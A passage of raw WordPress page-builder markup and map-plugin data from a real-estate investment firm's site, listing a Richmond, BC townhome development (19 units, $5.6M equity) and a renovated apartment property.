_module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_0 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_0 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_0 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11522\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_1 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg 1305w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-1280x823.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-980x630.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-480x309.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1305px, 100vw\" class=\"wp-image-11523\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_2 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11524\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_3 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11525\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_4 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-1280x830.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-980x635.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11526\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_1 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_1 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">nttttt<h1 class=\"entry-title\">Kadium No4 Road TownHomes<\/h1>ntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Richmond, British Columbia<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_2 row-location-info et_pb_gutters1\">ntttt<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Minimum<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Distributions <\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Annualized Returns<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Target Hold<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_9  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Property Type<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_10  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Ground-up Development<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_11  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Asset Class<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Class A<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_3 row-overview et_pb_gutters3\">ntttt<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_8  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_13  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Overview<br \/>n19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_9  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_14 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">100% Invested<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_15 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$5,600,000 Equity<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_2 section-location-map et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_4\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_10  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_16  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = $(\"#map7\").maps({\"map_options\":{\"center_lat\":\"49.13664139999999\",\"center_lng\":\"-123.1139252\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" 